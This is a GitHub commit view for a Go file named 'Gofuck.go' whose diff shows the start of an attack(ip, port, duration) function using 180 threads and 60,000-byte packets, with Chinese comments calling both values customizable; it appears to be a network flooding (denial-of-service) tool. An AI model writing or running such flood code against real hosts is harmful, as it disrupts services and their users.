Update Gofuck.go

This commit is contained in:
RandyColin 2024-01-17 22:26:38 +08:00 committed by GitHub
parent 5968e758ec
commit 3b6a447c4b
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -7,9 +7,10 @@ import (
"strconv"
"time"
)
const THREADS = 180
// 定义线程数,可自定义
const THREADS = 180
func attack(ip string, port int, duration int) {
// 定义包字节,可自定义
bytes := make([]byte, 60000)
startTime := time.Now()
endTime := startTime.Add(time.Duration(duration) * time.Second)